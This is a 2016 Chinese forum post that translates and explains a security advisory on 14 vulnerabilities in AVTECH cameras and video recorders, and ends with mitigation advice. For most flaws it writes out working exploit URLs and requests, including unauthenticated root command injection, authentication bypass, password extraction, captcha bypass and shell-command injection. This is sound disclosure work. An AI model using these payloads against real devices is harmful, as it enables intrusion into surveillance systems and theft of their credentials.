首页
社区
课程
招聘
[翻译]视频监控厂商AVTECH产品多个漏洞分析
2016-10-19 17:17 11765

[翻译]视频监控厂商AVTECH产品多个漏洞分析

2016-10-19 17:17
11765
  AVTECH是一家台湾的视频监控设备制造商,公司成立于1996年,是世界领先的闭路电视制造商之一,主要产品有监控设备,网络摄像机,网络录像机等。
  近日,匈牙利安全公司 Search-Lab 发表了一份公告详细的披露了AVTECH监控产品存在的14个漏洞,事实上早在一年之前,该公司就先后4次尝试向AVTECH公司通报发现的漏洞,但是均没有收到回应,该公司于一周之前公布了整个漏洞的详情。

漏洞详情:
  由于很多设备可以直接通过公网IP地址访问,所以影响较大,本文详细的分析漏洞的成因和利用方式。
1、未经身份验证的信息泄露
  由于/cgi-bin/nobody目录下的CGI脚本文件运行权限设置不合理,导致可以在未认证的情况下直接运行,此类型漏洞已经在多个设备中出现,斐讯K1就是因为cgi文件执行权限限制不合理,导致可以直接获取路由器的所有配置信息。
攻击链接示例:http://<device_ip>/cgi-bin/nobody/Machine.cgi?action=get_capability,获取摄像头的设备信息。

2、DVR设备存在着无需用户登录的ssrf漏洞
  在DVR设备中,Search.cgi可以直接被访问,Search.cgi负责搜索和访问本地网络中的摄像头,Search.cgi提供了cgi_query功能,通过设置ip,port和queryb64str三个参数可以实现直接访问本地网络中的摄像头。
利用实例构造如:http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=scan获取局域网中所有的摄像头的配置信息。

3、DVR设置存在着无需用户登录的命令执行漏洞
  Search.cgi中提供的cgi_query功能是通过wget功能实现HTML请求,但是由于对参数没有验证和过滤,可以通过构造参数实现root权限的任意系统命令的执行。
实例链接如下:
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password>$(ps|grep%20Search.cgi|grep%20-v%20grep|head%20-n%201|awk%20'{print%20"/tmp/"$1".log"}');&password=admin

4、认证绕过漏洞
  可以通过两种方式实现认证绕过:
第一种是.cab方式,cab格式文件是视频播放器插件,存储在web的根目录下,它可以无需验证直接被访问和下载,而设备端只是通过strstr函数查找链接中是否存在.cab字段,如果含有就直接认为免认证。
第二种是nobody方法,同样由于设备端只是通过strstr函数去查找链接中是否存在nobody字段,如果有就直接免认证。
两种方式的链接可以如下,.cab和/nobody可以放在链接中的其他地方,获取设备的配置信息,其中包括登录的用户名和密码。
http://<device_ip>/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*
http://<device_ip>/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*

5、web根目录下任意文件下载
  由于.cab字符串是通过strstr方法验证的,那么可以通过在文件名称末尾加上?.cab实现文件下载。作者类推的实验了一下在链接后加上?/nobody,也可以下载文件,漏洞的原因相同。
实例链接:
http://<device_ip>/cgi-bin/cgibox?.cab
http://<device_ip>/cgi-bin/cgibox?/nobody 
6、登录验证码绕过
  设备在登录时通过增加验证码方式防止暴力猜解用户名和密码,但是由于系统设计的不合理,可以通过增加login=quick直接绕过。
链接格式如下:
http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&login=quick
如果没有采用quick方式的话,链接的格式如下:
http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&captcha_code=ZVFU&verify_code=ZVmHTLN5eiGB
  由于captcha_code和verify_code是配套的,我们可以通过人工设置使他们保持一致同样可以绕过验证码验证,从而暴力猜解用户名和密码。
7、认证后的多个任意命令执行漏洞
第一个:设备通过CloudSetup.cgi支持Avtech云服务,在登录认证通过之后,由于没有对参数进行验证,可以通过exefile参数以root权限执行任意命令。
http://<device_ip>/cgi-bin/supervisor/CloudSetup.cgi?exefile=ps
第二个:部分设备支持ActionD命令,通过adcommand.cgi文件实现,新版本设备的ActionD提供了DoShellCmd功能,在认证通过之后,由于没有对参数进行验证,可以以root权限执行任意命令。此功能需要以post方式实现,其中cookie中的SSID为用户名和密码的base64值。
POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.1
Host: <device_ip>
Content-Length: 23
Cookie: SSID=YWRtaW46YWRtaW4=
DoShellCmd "strCmd=ps&"
第三个:PwdGrp.cgi文件在增加用户或者修改用户时,由于没有对参数进行验证,可以同时以root权限执行其他命令。
http://<device_ip>/cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN
8、其他安全漏洞
  第一个:使用没有认证证书的Https服务。系统中的SyncCloudAccount.sh,QueryFromClient.sh和SyncPermit.sh使用wget去访问https网站,如https://payment.eagleeyes.tw等。由于没有证书验证,此https通信可能遭受中间人攻击。
  第二个:密码明文存储。容易被攻击轻易获取所有的用户登录密码等敏感信息。
  第三个:CSRF漏洞。设备没有任何防CSRF攻击的措施,当管理员正登录时,可能受到CSRF攻击。

补救措施:
  在shadon上搜索关键词“Avtech”,有超过13万个设备暴露在互联网中,当前avtech关键词搜索已经成为shadon上排名第二的热词,由于厂商目前还没有提供固件更新,所以建议大家采取如下措施来保护:
1、修改默认的登录密码;
2、限制用户通过公网访问设备的web功能。

参考资料:
1、http://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities
2、https://github.com/ebux/AVTECH
3、http://www.securityweek.com/serious-flaws-expose-avtech-devices-iot-botnets

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
免费 3
打赏
分享
最新回复 (1)
雪    币: 92
活跃值: (154)
能力值: ( LV8,RANK:135 )
在线值:
发帖
回帖
粉丝
光棍节 2 2016-10-23 18:46
2
0
CGI文件权限设置不合理,导致被任意用户执行的设备很多啊
游客
登录 | 注册 方可回帖
返回